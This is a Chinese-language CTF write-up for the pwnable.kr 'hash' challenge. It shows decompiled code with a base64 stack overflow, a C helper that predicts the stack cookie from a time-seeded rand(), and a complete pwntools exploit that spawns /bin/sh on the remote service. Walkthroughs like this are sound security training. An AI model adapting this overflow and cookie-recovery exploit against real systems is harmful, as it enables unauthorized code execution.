ida打開(kāi)文件,發(fā)現(xiàn)關(guān)鍵函數(shù)是process_hash,代碼如下
int process_hash()
{
int v0; // ST14_4@3
void *ptr; // ST18_4@3
char v3; // [sp+1Ch] [bp-20Ch]@1
int v4; // [sp+21Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
memset(&v3, 0, 0x200u);
while ( getchar() != 10 );
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(&v3, 0, 0x200u);
v0 = Base64Decode(g_buf, &v3);
ptr = (void *)calc_md5(&v3, v0);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return *MK_FP(__GS__, 20) ^ v4;
}
這里的問(wèn)題在與給g_buf分配了1024bytes的空間豆混,但是只給u分配了512bytes的空間,而1024字節(jié)的base64解碼之后的長(zhǎng)度為768触徐,所以這里有一個(gè)棧溢出咪鲜。但是代碼中有棧cookie狐赡,所以光靠這里是不能利用的。
繼續(xù)看代碼疟丙,發(fā)現(xiàn)另一個(gè)函數(shù)
int my_hash()
{
int result; // eax@4
int v1; // edx@4
signed int i; // [sp+0h] [bp-38h]@1
char v3[32]; // [sp+Ch] [bp-2Ch]@2
int v4; // [sp+2Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v3[4 * i] = rand();
result = *(_DWORD *)&v3[16]
- *(_DWORD *)&v3[24]
+ *(_DWORD *)&v3[28]
+ v4
+ *(_DWORD *)&v3[8]
- *(_DWORD *)&v3[12]
+ *(_DWORD *)&v3[4]
+ *(_DWORD *)&v3[20];
v1 = *MK_FP(__GS__, 20) ^ v4;
return result;
}
在這個(gè)函數(shù)中颖侄,棧cookie被用來(lái)生成了一個(gè)hash值,而這個(gè)hash值會(huì)在交互中給出享郊,結(jié)合題目中提到的提示览祖,bin服務(wù)和pwnable.kr運(yùn)行在同一臺(tái)機(jī)器上,也就是說(shuō)時(shí)間相同炊琉,這樣就可以反算出棧cookie展蒂,從而get shell了。
大概思路清晰之后苔咪,開(kāi)始完成exp锰悼,首先是用c算出棧cookie
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
int m = atoi(argv[2]);
int rands[8];
srand(atoi(argv[1]));
for (int i = 0; i <= 7; i++) rands[i] = rand();
m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];
printf("%x\n", m);
return 0;
}
完成cookie的計(jì)算,分析到這里就可以寫exp了团赏,主要思路是溢出掉v3箕般,用驗(yàn)證碼和時(shí)間計(jì)算出棧cookie,最后調(diào)用system("/bin/sh")
import os
import time
from pwn import *
p = remote("pwnable.kr", 9002)
t = int(time.time())
print p.recvuntil("captcha")
captcha = p.recvline()
captchapos = captcha.find(' : ')+len(' : ')
captcha = captcha[captchapos:].strip()
p.sendline(captcha)
print p.recvline()
print p.recvline()
cmd = "./hash %s %s" % (t, captcha)
cookie = "0x" + os.popen(cmd).read().strip()
payload = 'A' * 512 # 512 byte v3
payload += p32(int(cookie, 16))
payload += 'A' * 12
payload += p32(0x08049187) # system
payload += p32(0x0804B0E0 + 537*4/3) # .bss => address of /bin/sh
payload = b64e(payload)
payload += "/bin/sh\0"
p.sendline(payload)
p.interactive()